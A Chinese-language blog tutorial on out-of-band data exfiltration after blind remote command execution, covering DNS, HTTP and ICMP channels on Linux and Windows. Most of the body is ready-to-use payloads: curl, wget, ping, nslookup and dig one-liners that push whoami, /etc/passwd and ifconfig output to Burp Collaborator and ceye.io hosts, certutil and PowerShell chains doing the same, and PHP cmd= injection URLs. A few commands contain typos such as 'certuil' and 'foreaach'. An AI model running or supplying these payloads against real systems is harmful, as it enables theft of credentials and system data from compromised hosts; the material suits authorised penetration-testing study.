带外攻击(OOB)RCE无回显思路总结详解

2024-01-17 00:20

本文主要是介绍带外攻击(OOB)RCE无回显思路总结详解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

基本概念

1.带内攻击

向服务器提交一个payload,而服务器响应给我们相关的response信息,大家都叫他带内攻击,这些理论的东西,我们简单理解就好,这里我们就理解成单挑通信的通道为带内攻击,也就是整个测试过程或者说是交互过程,中间没有其外部的服务器参与,只有自己和目标服务器,那么就叫带内

2.带外数据

传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方。为了发送这些数据,协议一般不使用与普通数据相同的通道,而是使用另外的通道。linux系统的套接字机制支持低层协议发送和接受带外数据。但是TCP协议没有真正意义上的带外数据。为了发送重要协议,TCP提供了一种称为紧急模式(urgent mode)的机制。TCP协议在数据段中设置URG位,表示进入紧急模式。接收方可以对紧急模式采取特殊的处理。很容易看出来,这种方式数据不容易被阻塞,并且可以通过在我们的服务器端程序里面捕捉SIGURG信号来及时接受数据。这正是我们所要求的效果。

由于TCP协议每次只能发送和接受带外数据一个字节,所以,我们可以通过设置一个数组,利用发送数组下标的办法让服务器程序能够知道自己要监听的端口以及要连接的服务器IP/port。由于限定在1个字节,所以我们最多只能控制255个port的连接,255个内网机器(不过同一子网的机器不会超过255J),同样也只能控制255个监听端口,不过这些已经足够了。

好了,不卖关子了,我们接下来开讲

第一种命令格式

通过DNS记录查看是否执行(最好执行两次),ping走的是DNS协议

curl `whoami`.wyyysg1fi9svq8zgf0g11dz80z6pue.burpcollaborator.net

DNS,http中有回显

第二种命令格式

curl http://n7vp17a6r01mzz87orpsa48z9qfh36.burpcollaborator.net/`whoami`

DNS、记录中无回显,http中有回显

3.第三种命令执行格式

linux系统:

ping `whoami`.ip.port.ttq72fceob0yxwq9342c4yuo2f85wu.burpcollaborator.net

windows系统:

ping %whoami%.ip.port.ttq72fceob0yxwq9342c4yuo2f85wu.burpcollaborator.net

 命令执行无回显

经常在拿下shell的时候碰到命令执行无回显的情况,因此为了解决命令执行无回显时,可以借助DNS管道解析来让命令回显

linux利用

1.http传输

wget传输

使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上,xargs echo-n代表去掉各个分隔符,换行符等符号输出

wget --header="User-Agent: $(cat /etc/passwd | xargs echo–n)" http://6rych16irk3064ztjoo9ufasuj0do2.burpcollaborator.net

 curl传输

通过curl远程命令执行RCE去对靶机执行以下命令

#通过http记录查看是否执行(最好执行两次),curl走http协议
curl http://ip.port.XXXXXX.ceye.io/`whoami`
curl `whoami`.XXXXXX.ceye.io

如果回显信息不全,可以使用如下结合sed命令令回显完整,但其实也不是全的

curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'`
#使用base64编码
curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'|base64`
#将长文本进行分割
curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'|cut -c 3-10

2.DNS传输

通过DNS记录查看是否执行(最好执行两次),ping走的是DNS协议
 

ping `whoami` .ip.port.XXXXXXX.ceye.io

说明使用DNS管道解析还是比较鸡肋的,知识和单条的短信回显,有点作用

DNS管道解析的扩展,结合php命令执行可以使用这种方式进行回显,使用sed命令令回显变长:

执行:

http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al`
#看起来只能带出第一行,所以我们需要sed命令
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al | sed -n '2p'`
#发现空格不能被带出来,用base64编码
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al | sed -n '2p'|base64`
#若有的时候长度太大,cut来分割字符(第一个字符下标为1)
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al |cut -c 3-10`

通过base64编码传输

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

 十六进制传输:(hex编码)

var=11111 && for b in $(ifconfig|xxd -p); do var=$((var+1)) && dig $var.$b.itfjy788hafvu4q8xtf7naktrkxbpze.burpcollaborator.net; done

这种方式需要每条结果复制粘贴,比较麻烦,但回显结果还是准确的,可以看到ifconfig命令执行后的结果

十六进制转换字符:http://www.bejson.com/convert/ox2str/

ICMP传输

#靶机
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 easn1l1elxy8t7azlztz02gkbbh65v.burpcollaborator.net;done
#攻击者
sudo tcpdump 'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture
#攻击者提取数据
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p   #Or Use Wireshark gui

windows利用

1.http传输

curl传输

#在windows中,%xxx% 的代表系统变量,常用系统变量命令
%SystemDrive%                                    系统安装的磁盘分区
%SystemRoot% = %Windir% WINDOWS                  系统目录
%ProgramFiles%                                   应用程序默认安装目录
%AppData%                                        应用程序数据目录
%CommonProgramFiles%                             公用文件目录
%HomePath%                                       当前活动用户目录
%Temp% =%Tmp%                                    当前活动用户临时目录
%DriveLetter%                                    逻辑驱动器分区
%HomeDrive%                                      当前用户系统所在分区

curl抓取用户名://%USERNAME%:列出所有用户名

curl http://0opr08yd8hhgror4veu9rp09j0pqdf.burpcollaborator.net/%USERNAME%

curl获取windows安装目录://%WinDir%,列出windows的安装目录

curl http://0opr08yd8hhgror4veu9rp09j0pqdf.burpcollaborator.net/%WinDir%

1.2 certutil利用

payload逻辑

将ipconfig的结果记录在新建temp文件中,再对temp文件进行base64加密变成temp2文件,再对temp2文件中的多余字符"CERTIFICATE"删掉变成temp3,再对temp3的内容删除换行符生成所有数据只在一行的temp4(因为http响应包想要信息全部输出必须使信息全在一行),并把temp4的内容赋予变量为p1,最后使用curl爬取p1的值赋予http响应包的User-Agent字段输出于http:// qysvrrmxvestl2c93ydg0u5p1g76vv.burpcollaborator.net中,最后删除本地文件夹中所有生成的带有temp字段的文件(也就是之前生成的temp~temp4四个文件)

ipconfig > temp && certutil -f -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && (for /f %i in (./temp3) do set /p=%i<nul >>temp4) || set /p pl=<temp4 && curl -H "User-Agent:%pl%" http://qysvrrmxvestl2c93ydg0u5p1g76vv.burpcollaborator.net && del temp*

执行成功可以在http请求的user-agent中发现带出来的数据,进行base64解码即可

8e81302322704fdf8c6c0b48a7d6158e.png

 2.DNS传输

使用curl命令进行DNS单条传输可以使用以下语法:

curl -H "Host: example.com" http://8.8.8.8/resolve?name=example.com&type=A
- `-H "Host: example.com"`是用来指定HTTP请求头的Host字段,用于告诉服务器请求的域名。
- `http://8.8.8.8/resolve?name=example.com&type=A`是要请求的URL。其中`8.8.8.8`是Google的公共DNS服务器IP地址,可以根据需要更改。`name=example.com`指定要查询的域名,`type=A`指定要查询的记录类型为A记录。

注意:此方法不适用于HTTPS协议。(个人感觉单条传输很鸡肋,不推荐)

#执行10次nslookup命令
for /L %i in (1,1,10) do nslookup #命令执行
cmd /v /c "hostname > temp && certutil -f -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.z00h57chzl8lln3fno9aydnspjv9jy.burpcollaborator.net && nslookup !FINAL!"

十六进制编码(缺点:必须调用powershell)

payload:

whoami > test && certuil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreaach($i in $sub){ $fin=$j.toString()+'.'+$i+'.qf95nhvxs08z5nr9wk19ruzsqjw9ky.burpcollaborator.net';$j += 1; nslookup $fin }

执行成功之后

9381e593fd9c44ddb920c2cda54c8cda.png

 第二串字符

4d0bb8814fab4e14ac4cb8e77fa50806.png

 两个拼接起来

0a627574636865725c627574636865720d

 十六进制转字符转换:16进制到文本字符串的转换,16进制-BeJSON.com

转后为信息是全的,可以全部一条条来,最后全部破解即可

3,ICMP传输

缺点:不能传太大的包,可以全部一条条来,最后全部破解即可

payload逻辑:

whoami > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send(' edvhr84xv7p1ga18aoiwl0mmzd54tt.burpcollaborator.net',60 * 1000, $sendbytes, $PingOptions);

 

 

 

这篇关于带外攻击(OOB)RCE无回显思路总结详解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/614381

相关文章

Java内存分配与JVM参数详解(推荐)

《Java内存分配与JVM参数详解(推荐)》本文详解JVM内存结构与参数调整,涵盖堆分代、元空间、GC选择及优化策略,帮助开发者提升性能、避免内存泄漏,本文给大家介绍Java内存分配与JVM参数详解,... 目录引言JVM内存结构JVM参数概述堆内存分配年轻代与老年代调整堆内存大小调整年轻代与老年代比例元空

Python中注释使用方法举例详解

《Python中注释使用方法举例详解》在Python编程语言中注释是必不可少的一部分,它有助于提高代码的可读性和维护性,:本文主要介绍Python中注释使用方法的相关资料,需要的朋友可以参考下... 目录一、前言二、什么是注释?示例:三、单行注释语法:以 China编程# 开头,后面的内容为注释内容示例:示例:四

mysql表操作与查询功能详解

《mysql表操作与查询功能详解》本文系统讲解MySQL表操作与查询,涵盖创建、修改、复制表语法,基本查询结构及WHERE、GROUPBY等子句,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随... 目录01.表的操作1.1表操作概览1.2创建表1.3修改表1.4复制表02.基本查询操作2.1 SE

MySQL中的锁机制详解之全局锁,表级锁,行级锁

《MySQL中的锁机制详解之全局锁,表级锁,行级锁》MySQL锁机制通过全局、表级、行级锁控制并发,保障数据一致性与隔离性,全局锁适用于全库备份,表级锁适合读多写少场景,行级锁(InnoDB)实现高并... 目录一、锁机制基础:从并发问题到锁分类1.1 并发访问的三大问题1.2 锁的核心作用1.3 锁粒度分

MySQL数据库中ENUM的用法是什么详解

《MySQL数据库中ENUM的用法是什么详解》ENUM是一个字符串对象,用于指定一组预定义的值,并可在创建表时使用,下面:本文主要介绍MySQL数据库中ENUM的用法是什么的相关资料,文中通过代码... 目录mysql 中 ENUM 的用法一、ENUM 的定义与语法二、ENUM 的特点三、ENUM 的用法1

JavaSE正则表达式用法总结大全

《JavaSE正则表达式用法总结大全》正则表达式就是由一些特定的字符组成,代表的是一个规则,:本文主要介绍JavaSE正则表达式用法的相关资料,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录常用的正则表达式匹配符正则表China编程达式常用的类Pattern类Matcher类PatternSynta

MySQL count()聚合函数详解

《MySQLcount()聚合函数详解》MySQL中的COUNT()函数,它是SQL中最常用的聚合函数之一,用于计算表中符合特定条件的行数,本文给大家介绍MySQLcount()聚合函数,感兴趣的朋... 目录核心功能语法形式重要特性与行为如何选择使用哪种形式?总结深入剖析一下 mysql 中的 COUNT

一文详解Git中分支本地和远程删除的方法

《一文详解Git中分支本地和远程删除的方法》在使用Git进行版本控制的过程中,我们会创建多个分支来进行不同功能的开发,这就容易涉及到如何正确地删除本地分支和远程分支,下面我们就来看看相关的实现方法吧... 目录技术背景实现步骤删除本地分支删除远程www.chinasem.cn分支同步删除信息到其他机器示例步骤

Go语言数据库编程GORM 的基本使用详解

《Go语言数据库编程GORM的基本使用详解》GORM是Go语言流行的ORM框架,封装database/sql,支持自动迁移、关联、事务等,提供CRUD、条件查询、钩子函数、日志等功能,简化数据库操作... 目录一、安装与初始化1. 安装 GORM 及数据库驱动2. 建立数据库连接二、定义模型结构体三、自动迁

mysql中的服务器架构详解

《mysql中的服务器架构详解》:本文主要介绍mysql中的服务器架构,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、mysql服务器架构解释3、总结1、背景简单理解一下mysqphpl的服务器架构。2、mysjsql服务器架构解释mysql的架